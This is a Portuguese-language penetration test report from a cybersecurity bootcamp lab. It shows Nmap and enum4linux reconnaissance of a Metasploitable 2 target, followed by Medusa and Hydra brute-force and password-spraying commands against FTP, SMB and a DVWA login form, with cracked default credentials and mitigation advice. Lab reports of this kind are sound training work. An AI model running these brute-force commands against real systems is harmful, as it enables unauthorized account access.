Relatório de Teste de Intrusão

Bootcamp DIO - Cybersecurity | Framework: PTES | MITRE ATT&CK: T1110

1. Escopo e Pré-Engajamento

1. Escopo do Laboratório

Descreva o ambiente e as máquinas utilizadas. Este texto é editável e será salvo automaticamente.

```
Título do Projeto: Auditoria de Segurança e Teste de Intrusão em Ambiente Controlado
(Bootcamp DIO)
Framework: PTES (Penetration Testing Execution Standard)
Data de Execução: 26/10/2026

1. Objetivo:
Realizar testes de força bruta e password spraying em serviços expostos, com o intuito de
validar a resiliência das políticas de senha e identificar vulnerabilidades de
autenticação. O exercício foca na execução de ataques simulados e na proposição de medidas
de mitigação.

2. Máquinas Envolvidas e Topologia:

Atacante: Kali Linux (IP: 192.168.0.105) - Executando via Live USB com persistência.

Apoio/Reconhecimento: Ubuntu 26.04.1 LTS (IP: 192.168.0.106).

Alvo (Target): Metasploitable 2 (IP: 192.168.1.106).

Rede: O laboratório está configurado em uma rede isolada (roteada via firewall Fortigate),
garantindo que os ataques não transbordem para redes externas ou não autorizadas.

3. Escopo Técnico (Serviços Alvo):

Porta 21 (FTP): Teste de força bruta para obtenção de credenciais válidas.

Porta 445 (SMB): Password spraying com base na enumeração de usuários do Samba.

Porta 80 (HTTP/DVWA): Automação de tentativas de login em formulário web.

4. Ferramentas Utilizadas:

Nmap (Reconhecimento)

Enum4linux (Enumeração SMB)

Medusa (Força Bruta FTP e SMB)

Hydra (Força Bruta Web)

HTML/JS (Documentação e geração de relatório)

5. Limitações e Fora de Escopo:

Não serão realizados ataques de negação de serviço (DoS).

Não serão exploradas falhas de execução remota de código (RCE) neste momento.

O ambiente é estritamente controlado; o acesso físico e a integridade da rede física não
fazem parte do escopo.
```

2. Reconhecimento (PTES Fase 2)

2. Reconhecimento Ativo

Ferramenta: Nmap e Enum4linux

```
┌──(root@desktop)─[~/dio-cyber]
└─# nmap -sV -p21,445,80 192.168.1.106 -oN ~/dio-cyber/logs/nmap_ubuntu.txt
Starting Nmap 7.98 ( https://nmap.org ) at 2026-10-26 20:36 -0300
Nmap scan report for 192.168.1.106
Host is up (0.0012s latency).

PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 2.3.4
80/tcp  open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.84 seconds

////////////////////////////////////////////////////////////////////////////////

Enumeração SMB - Ferramenta utilizada = enum4linux

Comando executado = "enum4linux -a 192.168.1.106"

Nmap (Portas 21, 80, 445):

21/tcp open ftp vsftpd 2.3.4

80/tcp open http Apache httpd 2.2.8

445/tcp open netbios-ssn Samba smbd 3.X - 4.X

Enum4linux (SMB):

Sistema: Samba 3.0.20-Debian.

Usuários Encontrados: 35 usuários, com destaque para: msfadmin, user, root, postgres,
mysql, tomcat55.

Compartilhamentos Acessíveis: //192.168.1.106/tmp (Leitura e escrita anônima permitida).

Política de Senhas (Vulnerabilidade Crítica): Tamanho mínimo de 5 caracteres, sem exigência
de complexidade e sem bloqueio de conta (Lockout Threshold = None). Isso viabiliza ataques
de força bruta.
```

3. Exploração (PTES Fase 4)

3. Exploração e Ataques

3.1 Força Bruta em FTP T1110.001

Comando: `medusa -h 192.168.1.106 -U users.txt -P passwords.txt -M ftp`

```
┌──(root㉿kali)-[~]
└─# cat /root/dio-cyber/logs/medusa_ftp.log
# Medusa v.2.3 (2026-10-26 23:46:25)
# medusa -h 192.168.1.106 -U /root/dio-cyber/wordlists/users.txt -P /root/dio-
cyber/wordlists/passwords.txt -M ftp -O /root/dio-cyber/logs/medusa_ftp.log
2026-10-26 23:46:25 ACCOUNT FOUND: [ftp] Host: 192.168.1.106 User: msfadmin Password:
msfadmin [SUCCESS]
# Medusa has finished (2026-10-26 23:47:14).
```

3.2 Password Spraying em SMB T1110.003

Comando: `medusa -h 192.168.1.106 -U users.txt -P passwords.txt -M smbnt`

```
┌──(root㉿kali)-[~]
└─# cat /root/dio-cyber/logs/medusa_smb.log
# Medusa v.2.3 (2026-10-26 23:50:20)
# medusa -h 192.168.1.106 -U /root/dio-cyber/wordlists/users.txt -P /root/dio-
cyber/wordlists/passwords.txt -M smbnt -O /root/dio-cyber/logs/medusa_smb.log
2026-10-26 23:50:20 ACCOUNT FOUND: [smbnt] Host: 192.168.1.106 User: msfadmin Password:
msfadmin [SUCCESS (ADMIN$ - Access Allowed)]
# Medusa has finished (2026-10-26 23:50:20).
```

3.3 Ataque Web (DVWA) T1110

Ferramenta: Hydra (via formulário HTTP POST)

```
Ferramenta: Hydra v9.7
Comando: hydra -l admin -P passwords.txt 192.168.1.106 http-post-form
"/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed"
Resultado: [80][http-post-form] host: 192.168.1.106 login: admin password: password
Análise: O formulário de login do DVWA não possui proteção contra automação (como
CAPTCHA ou Rate Limiting) e utiliza uma credencial padrão (admin:password). O ataque
foi concluído em menos de 1 segundo.
```

4. Recomendações e Mitigação

4. Recomendações de Segurança

Descreva como se defender dos ataques realizados.

4. Recomendações de Mitigação e Segurança

Com base nos testes realizados, o ambiente apresentou vulnerabilidades críticas relacionadas à gestão de identidade e autenticação. As seguintes medidas são recomendadas:

4.1 Mitigação para FTP (Força Bruta):

Política de Senhas Fortes: Implementar regras que exijam senhas longas (mínimo 12 caracteres), com complexidade (letras maiúsculas, minúsculas, números e símbolos) e rotação periódica.

Bloqueio de Conta (Account Lockout): Configurar o serviço para bloquear temporariamente o acesso após um número limite de tentativas falhas (ex: 5 tentativas).

Desabilitar Login Anônimo: Garantir que o acesso anônimo ao FTP esteja desativado.

Fail2ban: Implementar o Fail2ban para monitorar logs e banir IPs que exibirem comportamento de força bruta.

4.2 Mitigação para SMB (Password Spraying):

Desabilitar SMBv1: O protocolo SMBv1 é obsoleto e vulnerável. Atualizar para SMBv2 ou SMBv3.

Restrição de Privilégios: A conta msfadmin possuía acesso ao ADMIN$. Aplicar o Princípio do Menor Privilégio (PoLP), removendo permissões administrativas de contas que não as necessitam.

Monitoramento de Logs: Habilitar e monitorar logs de auditoria para eventos de falha de logon (Event ID 4625 no Windows ou logs do Samba).

4.3 Mitigação para Web/DVWA (Automação de Login):

CAPTCHA: Implementar desafios CAPTCHA no formulário de login para diferenciar humanos de bots.

Rate Limiting: Limitar o número de requisições de login por IP em um determinado período.

Autenticação Múltiplos Fatores (MFA): Adicionar uma segunda camada de autenticação (ex: Token, SMS) para acessos administrativos.

Remoção de Credenciais Padrão: Nunca manter credenciais padrão (admin:password) em ambientes de produção.

4.4 Mitigação Geral:

Manter todos os serviços e sistemas operacionais atualizados com os últimos patches de segurança.

Realizar auditorias e testes de intrusão periódicos para validar a eficácia das defesas.